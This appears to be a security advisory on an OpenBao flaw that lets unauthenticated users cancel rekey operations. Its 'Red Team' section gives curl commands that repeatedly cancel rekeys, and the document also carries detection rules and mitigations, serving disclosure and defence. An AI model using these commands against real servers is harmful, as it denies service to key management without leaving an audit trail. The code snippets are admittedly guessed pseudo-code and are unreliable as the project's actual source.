CVE-2025-52894

Executive Summary

CVE-2025-52894 is a denial-of-service (DoS) vulnerability in OpenBao, a secrets management solution. An unauthenticated attacker can cancel root rekey and recovery rekey operations without any audit logging, causing a denial of service. The vulnerability affects OpenBao versions before v2.3.0. A patch is available, and a configuration workaround exists.

Supply Chain & Package Security

OpenBao is a Go-based project. The vulnerability is in the core server logic, not in a package dependency. However, any deployment using OpenBao before v2.3.0 is affected. Users should update to the latest patched version or apply the configuration workaround.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but based on analysis: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

Threat Level: High. The vulnerability is trivial to exploit and requires no authentication.

Deep Dive & Mechanics

The vulnerability lies in the rekey endpoint handlers. OpenBao provides endpoints for rekeying the root key and recovery key. These endpoints are intended to be used by authorized administrators. However, the cancellation endpoints (/sys/rekey/cancel and /sys/rekey/recovery/cancel) do not enforce authentication or authorization. An attacker can send a simple HTTP request to these endpoints to cancel any ongoing rekey operation.

The rekey operation is a critical administrative function. Cancelling it repeatedly can prevent the cluster from completing a rekey, effectively causing a denial of service. The operation is also not audited, meaning the attacker's actions leave no trace in the audit logs.

The fix in commit fe75468822a22a88318c6079425357a02ae5b77b adds authentication checks to these endpoints. Additionally, the configuration option disable_unauthed_rekey_endpoints can be set to true to deny these endpoints globally.

Vulnerable vs. Patched Code

Vulnerable Code (before v2.3.0):

The cancellation endpoints likely had no authentication middleware. Example (pseudo-code):

// Vulnerable: No auth check
func handleRekeyCancel(w http.ResponseWriter, r *http.Request) {
    // Cancel the rekey operation
    cancelRekey()
    w.WriteHeader(http.StatusOK)
}

Patched Code (after commit fe75468822a22a88318c6079425357a02ae5b77b):

The patched code adds an authentication check:

// Patched: Auth check added
func handleRekeyCancel(w http.ResponseWriter, r *http.Request) {
    if !isAuthenticated(r) {
        w.WriteHeader(http.StatusForbidden)
        return
    }
    cancelRekey()
    w.WriteHeader(http.StatusOK)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running OpenBao v2.2.x or earlier.
• Network access to the OpenBao API endpoint.

Exploitation Steps:

1. Identify the OpenBao API endpoint (e.g., https://target:8200).
2. Send a POST request to the cancellation endpoint:

curl -X POST https://target:8200/v1/sys/rekey/cancel

3. To cancel the recovery rekey:

curl -X POST https://target:8200/v1/sys/rekey/recovery/cancel

4. Repeat as needed to prevent any rekey operation from completing.

Expected Outcome: The rekey operation is cancelled, and the attacker can continue to cancel any new rekey attempts, causing a denial of service.

Blue Team

Detection:

• Monitor for repeated requests to /v1/sys/rekey/cancel or /v1/sys/rekey/recovery/cancel from unauthorized IPs.
• Enable audit logging and check for missing audit entries (the vulnerability means no audit log is generated, so a sudden lack of audit entries for rekey operations is suspicious).

Mitigation:

• Apply the patch (update to v2.3.0 or later).
• Set disable_unauthed_rekey_endpoints=true in the configuration.
• Use a reverse proxy or load balancer to restrict access to these endpoints to trusted IP ranges.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /v1/sys/rekey/cancel or /v1/sys/rekey/recovery/cancel from unexpected IPs.
• Logs: Absence of audit log entries for rekey cancellation operations.
• System: Repeated cancellation of rekey operations, preventing successful rekey.

Detection Engineering

YARA Rule

rule CVE_2025_52894_Rekey_Cancel {
    meta:
        description = "Detects requests to OpenBao rekey cancel endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52894"
    strings:
        $cancel1 = "/v1/sys/rekey/cancel"
        $cancel2 = "/v1/sys/rekey/recovery/cancel"
    condition:
        any of them
}

Sigma Rule

title: OpenBao Unauthenticated Rekey Cancellation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthenticated requests to OpenBao rekey cancel endpoints
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52894
logsource:
    category: webserver
    product: openbao
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/v1/sys/rekey/cancel'
            - '/v1/sys/rekey/recovery/cancel'
    condition: selection
falsepositives:
    - Legitimate administrative actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52894 OpenBao Unauthenticated Rekey Cancellation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v1/sys/rekey/cancel"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-52894 OpenBao Recovery Rekey Cancellation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v1/sys/rekey/recovery/cancel"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate:

1. Set disable_unauthed_rekey_endpoints=true in the OpenBao configuration file.
2. Restrict access to the rekey endpoints using a reverse proxy or firewall.

Long-term:

1. Update OpenBao to v2.3.0 or later.
2. Monitor for future releases that will set the configuration option to true by default.

Workaround:

• If a load balancer or proxy is in front of OpenBao, deny requests to /v1/sys/rekey/cancel and /v1/sys/rekey/recovery/cancel from unauthorized IP ranges.

Valters IT
DevSecOps & Cyber Threat Intelligence